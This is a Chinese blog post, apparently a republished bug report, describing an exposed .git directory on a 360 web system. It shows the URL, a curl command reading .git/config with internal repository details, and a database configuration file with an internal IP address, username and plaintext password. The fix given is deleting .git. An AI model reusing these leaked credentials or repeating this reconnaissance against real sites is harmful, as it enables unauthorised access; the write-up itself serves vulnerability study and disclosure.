【漏洞学习——Git信息泄露】360某系统git配置不当导致源码泄露

漏洞细节

##URL

http://api.b.360.cn/.git

发现是天擎的管理后台源码

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>天擎6全国用户分布图</title>

##.git/config

➜  GitHack git:(master) ✗ curl http://api.b.360.cn/.git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	ignorecase = true
	precomposeunicode = true
[remote "origin"]
	url = https://git.corp.qihoo.net/360wangguanban/u_b_360_cn_code.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "dev_newub360cn"]
	remote = origin
	merge = refs/heads/dev_newub360cn
[branch "sync_api_b_360_cn"]
	remote = origin
	merge = refs/heads/sync_api_b_360_cn
[branch "bugfix_2018XXXX"]
	remote = origin
	merge = refs/heads/bugfix_2018XXXX

##数据库配置文件

<?php
// This is the database connection configuration.
return array(
	// 'connectionString' => 'sqlite:'.dirname(__FILE__).'/../data/testdrive.db',
	// uncomment the following lines to use a MySQL database

    'class'            => 'CDbConnection',
    'connectionString' => sprintf('mysql:host=%s;port=%s;dbname=%s', '10.131.199.254', '3489', 'entvalidate'),
    'emulatePrepare'   => true,
    'username'         => 'entvalidate',
    'password'         => '056f8ceb1c3953ae',
    'charset'          => 'utf8',

);

修复方案

删除.git

参见:https://bugs.shuimugan.com/bug/view?bug_no=185662

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值